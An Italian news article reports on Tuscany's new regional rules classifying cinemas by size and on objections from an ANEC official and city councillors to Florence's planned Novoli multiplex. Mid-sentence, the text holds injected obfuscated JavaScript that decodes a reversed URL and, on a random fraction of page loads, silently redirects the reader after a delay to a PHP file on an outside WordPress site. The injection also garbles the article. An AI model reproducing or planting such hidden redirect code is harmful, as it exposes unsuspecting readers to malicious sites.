La Regione approva i multisala “piccoli”. E per Renzi il multiplex diventa “inevitabile”

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Sono state approvate a maggioranza dalle commissioni cultura e sviluppo economico della Regione le nuove norme sull’esercizio dell’attività cinematografica in Toscana.
Favorevoli Pd e Fed. Sinistra-Verdi. Contrari Pdl, Lega Nord Toscana e Italia dei Valori. Si è astenuta l’Udc.
Le nuove regole dividono gli esercizi cinematografici in strutture piccole (fino a 4 schermi e 700 posti di capienza), medie (da 4 a 8 sale) e gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andi (oltre gli 8 schermi). Le piccole multisala sono del tutto liberalizzate, mentre per le medie strutture l’autorizzazione da parte del Comune, concessa sulla base di parametri regionali, può prevedere anche lo svolgimento di attività culturali ed educative a favore del territorio. Più complicato aprire una multisala grande, visto che è stato rimesso il parametro delle distanze (almeno 15 chilometri) tra una sala e l’altra.

Il nuovo testo non piace affatto a Maurizio Paoli, presidente fiorentino e vicepresidente toscano ANEC, vicepresidente vicario AGIS Toscana, che trova «incomprensibile ed inaccettabile la classificazione della ‘media’ multisala con il solo numero delle sale – da cinque a otto, troppe fra l’altro – senza individuare un numero massimo di posti; e senza prevedere nemmeno una distanza minima dalle strutture esistenti. Orbene una struttura, ad esempio, di 8 schermi e 2.500/3.000 posti può essere in tutta onestà considerata una ‘media’ multisala? Non avrebbe effetti dirompenti e desertificanti sul mercato cinematografico della zona?»

E ancor più si è arrabbiato Paoli il giorno dopo, leggendo le dichiarazioni del sindaco Renzi che, en passant, dice che il multiplex «dovrebbe aprire a breve» e che i fiorentini ai cinema in centro non ci vogliono andare. Ma allora, si chiede Paoli, avevamo ragione a pensare che ci fosse un disegno dietro l’assenza di politiche comunali per le sale cinematografiche? «Invece di difendere le piccole strutture, i famosi cinema di quartiere e di prossimità, si è scelto di favorire l’arrivo dei grossi gruppi che le porteranno alla chiusura: nel caso di Novoli, The Space di Berlusconi & Benetton. Con l’inevitabile conseguenza di allontanare dal cinema ampie fasce di popolazione, come gli anziani, consegnandole all’esclusivo consumo televisivo. Sono solo coincidenze?».

I consiglieri Grassi e De Zordo infine ricordano al Sindaco che «anche a norma del nuovo regolamento regionale sui cinema in via d’approvazione in Consiglio regionale, sarà il Comune a dover convocare e istruire la conferenza dei servizi per la concessione all’apertura della sala cinematografica di Novoli. Ci aspettiamo quindi che il Sindaco coerentemente con le promesse della campagna elettorale e ribadite fino a qualche mese fa ponga ufficialmente il suo veto, esprimendo la contrarietà all’apertura del Multiplex a Novoli che, al di là delle vicende giudiziarie e dei permessi, comporterebbe la chiusura di altri cinema di quartiere».

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